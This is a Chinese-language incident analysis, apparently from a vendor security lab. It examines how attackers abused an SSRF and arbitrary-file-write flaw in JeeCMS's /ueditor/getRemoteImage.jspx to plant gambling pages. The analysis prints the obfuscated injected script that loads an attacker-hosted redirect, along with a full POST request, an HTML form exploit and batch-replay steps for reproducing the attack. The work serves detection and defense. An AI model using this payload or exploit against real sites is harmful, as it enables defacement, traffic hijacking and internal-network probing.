JeeCMS漏洞竟沦为黑产SEO的秘密武器?

2019-04-15 约 1909 字 预计阅读 4 分钟

声明:本文 【JeeCMS漏洞竟沦为黑产SEO的秘密武器?】 由作者 深信服千里目安全实验室 于 2019-04-15 09:28:00 首发 先知社区 曾经 浏览数 47 次

感谢 深信服千里目安全实验室 的辛苦付出!

背景概述

近日深信服安全感知平台发现客户服务器中的文件被篡改,植入博彩页面。经深信服安全团队排查,发现大量网页文件被篡改,且被篡改的时间非常密集,如下图所示在2019年3月26日 16:46左右网站目录下产生大量恶意文件。

入侵分析

排查篡改目录下最早被篡改的文件,创建时间为2019年3月14日13:53。

排查被篡改的网站文件,均在头部位置发现了恶意代码,如下图所示:

恶意代码内容如下:

<script>var _0x150a=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x61\x74\x61\x70\x69\x38\x38\x38\x2E\x63\x6F\x6D\x2F\x67\x6C\x6F\x62\x61\x6C\x2F\x73\x74\x61\x74\x69\x63\x2F\x6A\x73\x2F\x74\x2E\x70\x68\x70\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0x150a[1]](_0x150a[0]);</script>
经hex转换解码后发现是一段恶意js脚本,即通过document.write写入恶意链接http://atapi888.com/global/static/js/t.php,js内容如下图所示:

通过浏览器访问http://atapi888.com/global/static/js/t.php后,发现返回内容同样为编码后的内容,如下图所示:

查看源码,发现此处还有一个博彩流量统计网站http://count.51yes.com/。

将以上编码的内容hex转换解码后得到如下图所示网址,即通过windows.location.href打开新窗口https://www.1851147.com。

访问https://www.1851147.com页面,发现是博彩站。

查杀网站中的webshell后门,没有发现任何webshell网页木马,如下图所示:

根据黑链写入的时间点,排查web日志,发现异常POST请求的时间和文件被篡改的时间点均一致,由此可以得知漏洞必然出在/ueditor/getRemoteImage.jspx接口中。

漏洞分析

从web日志中可以发现在某个固定时间点,攻击者发送了大量POST数据包,目标的URL为:http://域名/ueditor/getRemoteImage.jspx,排除了webshell后门存在的可能性,也就说getRemoteImage.jspx该接口必定存在漏洞。源码中寻找getRemoteImage.jspx文件,服务器上未发现该文件了。尝试用内容匹配的方式去寻找存在问题的class组件。这里使用everything的content文件内容匹配功能查找相关接口EeditorAct.class,具体方法如下图所示:

对UeditorAct.class文件进行反编译,分析/ueditor/getRemoteImage.jspx接口,该接口的主要功能是读取远程服务器上的资源并且未对资源的类型或者后缀进行判断并直接将其写入到/u/cms/www/目录下。此处同样存在SSRF漏洞,也就是说通过该接口可以探测内网、访问公网,又由于此处存在了任意文件写入才导致了黑页的写入。

漏洞危害

远程攻击者可借助upfile参数利用服务器端请求伪造漏洞漏洞获取敏感信息,攻击内部网络主机或写入恶意文件。
漏洞复现
测试机器IP:192.168.231.133 安装jeecms v7版本
模拟远程主机IP:192.168.231.134
本地安装jeecms v7版本,运行环境需要JDK5+TOMCAT5.5+MYSQL5及以上版本,为了复现远程文件读取并达到预期的效果,在远程主机192.168.231.134根目录下写入测试文件test.html。抓取访问数据包,并将其转化为上传格式,数据包转换地址:http://ld8.me/multipart.php
转换之后服务器端发送的数据包如下:

POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 192.168.231.133:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2188.2 Safari/537.36
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=A8872FC0A3E148E7A262F1A3D31B8FF9; _site_id_cookie=1; clientlanguage=zh_CN


----------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Content-Disposition: form-data; name="upfile"

http://192.168.231.134/test.html
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC--

由于代码端上传的时候直接是用参数upfile,为了方便构造数据包也可以直接构造一个表单来完成此次的操作。表单构造内容如下图所示:

<form action="http://192.168.231.133:8080/ueditor/getRemoteImage.jspx" method="post" enctype="multipart/form-data">
<input name="upfile" value="ue_separate_ue">
<input type="submit">
</form>

表单提交操作如下:

模拟植入博彩页面效果
通过burpsiut重放数据包,201904目录下生成09124849fdab.html,成功抓取192.168.231.134上的test.html文件。

模拟批量植入博彩页面效果
设置fiddler中的replay的request值为20,点击replay批量发包,短时间内植入20个恶意HTML页面,可以发现在201904目录下同一时刻内生成大量的恶意html页面。

防御方案

1、通过深信服下一代防火墙暂时限制对/ueditor/getRemoteImage.jspx接口的访问。
2、升级JeeCMS到最新版本。
参考链接
https://cxsecurity.com/issue/WLB-2018040057
https://www.cnblogs.com/rebeyond/p/5141226.html

关键词:[‘安全技术’, ‘技术讨论’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now